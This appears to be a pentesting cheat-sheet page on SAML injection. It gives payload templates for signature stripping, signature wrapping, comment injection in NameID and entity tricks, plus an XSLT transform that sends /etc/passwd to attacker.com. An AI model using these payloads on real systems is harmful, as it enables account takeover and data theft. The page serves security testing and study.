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200 lines
11 KiB
Markdown
200 lines
11 KiB
Markdown
# SAML Injection
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> Security Assertion Markup Language (SAML) is an open standard that allows security credentials to be shared by multiple computers across a network. When using SAML-based Single Sign-On (SSO), three distinct parties are involved. There is a user (the so-called principal), an IDentity Provider (IDP), and a cloud application Service Provider (SP). - centrify
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## Summary
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* [Tools](#tools)
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* [Authentication Bypass](#authentication-bypass)
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* [Invalid Signature](#invalid-signature)
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* [Signature Stripping](#signature-stripping)
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* [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks)
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* [XML Comment Handling](#xml-comment-handling)
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* [XML External Entity](#xml-external-entity)
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* [Extensible Stylesheet Language Transformation](#extensible-stylesheet-language-transformation)
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## Tools
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- [SAML Raider - Burp Extension](https://github.com/SAMLRaider/SAMLRaider)
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## Authentication Bypass
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A SAML Response should contain the `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"`.
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### Invalid Signature
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Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.
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### Signature Stripping
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> [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn
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The goal is to forge a well formed SAML Assertion without signing it. For some default configurations if the signature section is omitted from a SAML response, then no signature verification is performed.
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Example of SAML assertion where `NameID=admin` without signature.
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:7001/saml2/sp/acs/post" ID="id39453084082248801717742013" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
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<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameidformat:entity">REDACTED</saml2:Issuer>
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<saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
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<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
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</saml2p:Status>
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<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id3945308408248426654986295" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
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<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">REDACTED</saml2:Issuer>
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<saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
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<saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">admin</saml2:NameID>
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<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
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<saml2:SubjectConfirmationData NotOnOrAfter="2018-04-22T10:33:53.593Z" Recipient="http://localhost:7001/saml2/sp/acs/post" />
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</saml2:SubjectConfirmation>
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</saml2:Subject>
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<saml2:Conditions NotBefore="2018-04-22T10:23:53.593Z" NotOnOrAfter="2018-0422T10:33:53.593Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
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<saml2:AudienceRestriction>
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<saml2:Audience>WLS_SP</saml2:Audience>
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</saml2:AudienceRestriction>
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</saml2:Conditions>
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<saml2:AuthnStatement AuthnInstant="2018-04-22T10:28:49.876Z" SessionIndex="id1524392933593.694282512" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
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<saml2:AuthnContext>
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<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
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</saml2:AuthnContext>
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</saml2:AuthnStatement>
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</saml2:Assertion>
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</saml2p:Response>
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```
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### XML Signature Wrapping Attacks
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XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions.
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- XSW1 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature.
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- XSW2 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature.
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- XSW3 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion.
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- XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion within the existing Assertion.
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- XSW5 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message.
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- XSW6 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature.
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- XSW7 – Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion.
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- XSW8 – Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed.
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In the following example, these terms are used.
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- FA: Forged Assertion
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- LA: Legitimate Assertion
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- LAS: Signature of the Legitimate Assertion
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```xml
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<SAMLResponse>
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<FA ID="evil">
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<Subject>Attacker</Subject>
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</FA>
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<LA ID="legitimate">
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<Subject>Legitimate User</Subject>
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<LAS>
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<Reference Reference URI="legitimate">
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</Reference>
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</LAS>
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</LA>
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</SAMLResponse>
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```
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In the Github Enterprise vulnerability, this request would verify and create a sessions for `Attacker` instead of `Legitimate User`, even if `FA` is not signed.
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### XML Comment Handling
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A threat actor who already has authenticated access into a SSO system can authenticate as another user without that individual’s SSO password. This [vulnerability](https://www.bleepstatic.com/images/news/u/986406/attacks/Vulnerabilities/SAML-flaw.png) has multiple CVE in the following libraries and products.
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- OneLogin - python-saml - CVE-2017-11427
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- OneLogin - ruby-saml - CVE-2017-11428
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- Clever - saml2-js - CVE-2017-11429
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- OmniAuth-SAML - CVE-2017-11430
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- Shibboleth - CVE-2018-0489
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- Duo Network Gateway - CVE-2018-7340
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Researchers have noticed that if an attacker inserts a comment inside the username field in such a way that it breaks the username, the attacker might gain access to a legitimate user's account.
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```xml
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<SAMLResponse>
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<Issuer>https://idp.com/</Issuer>
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<Assertion ID="_id1234">
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<Subject>
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<NameID>user@user.com<!--XMLCOMMENT-->.evil.com</NameID>
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```
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Where `user@user.com` is the first part of the username, and `.evil.com` is the second.
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### XML External Entity
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An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing.
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In the following example:
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- `&s;` will resolve to the string `"s"`
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- `&f1;` will resolve to the string `"f1"`
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE Response [
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<!ENTITY s "s">
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<!ENTITY f1 "f1">
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]>
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<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
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Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
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ID="_04cfe67e596b7449d05755049ba9ec28"
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InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"
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IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">
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[...]
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<saml2:Attribute FriendlyName="uid"
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Name="urn:oid:0.9.2342.19200300.100.1.1"
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NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
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<saml2:AttributeValue>
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&s;taf&f1;
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</saml2:AttributeValue>
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</saml2:Attribute>
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[...]
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</saml2p:Response>
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```
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The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute.
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### Extensible Stylesheet Language Transformation
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An XSLT can be carried out by using the `transform` element.
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Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_Attack)
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```xml
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<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
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...
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<ds:Transforms>
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<ds:Transform>
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<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="doc">
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<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
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<xsl:variable name="escaped" select="encode-for-uri($file)"/>
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<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
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<xsl:variable name="exploitUrl"select="concat($attackerUrl,$escaped)"/>
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<xsl:value-of select="unparsed-text($exploitUrl)"/>
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</xsl:template>
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</xsl:stylesheet>
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</ds:Transform>
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</ds:Transforms>
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...
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</ds:Signature>
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```
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## References
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- [SAML Burp Extension - ROLAND BISCHOFBERGER - JULY 24, 2015](https://blog.compass-security.com/2015/07/saml-burp-extension/)
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- [The road to your codebase is paved with forged assertions - @ilektrojohn - March 13, 2017](http://www.economyofmechanism.com/github-saml)
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- [SAML_Security_Cheat_Sheet.md - OWASP](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SAML_Security_Cheat_Sheet.md)
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- [On Breaking SAML: Be Whoever You Want to Be - Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco Kampmann, and Meiko Jensen](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91-8-23-12.pdf)
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- [Making Headlines: SAML - March 19, 2018 - Torsten George](https://blog.centrify.com/saml/)
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- [Vulnerability Note VU#475445 - 2018-02-27 - Carnegie Mellon University](https://www.kb.cert.org/vuls/id/475445/)
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- [ORACLE WEBLOGIC - MULTIPLE SAML VULNERABILITIES (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - Jul 18, 2018](https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities)
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- [Truncation of SAML Attributes in Shibboleth 2 - 2018-01-15 - redteam-pentesting.de](https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2)
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- [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - March 7th, 2017 - Jem Jensen](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/)
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- [How to Hunt Bugs in SAML; a Methodology - Part I - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
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- [How to Hunt Bugs in SAML; a Methodology - Part II - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
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- [How to Hunt Bugs in SAML; a Methodology - Part III - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) |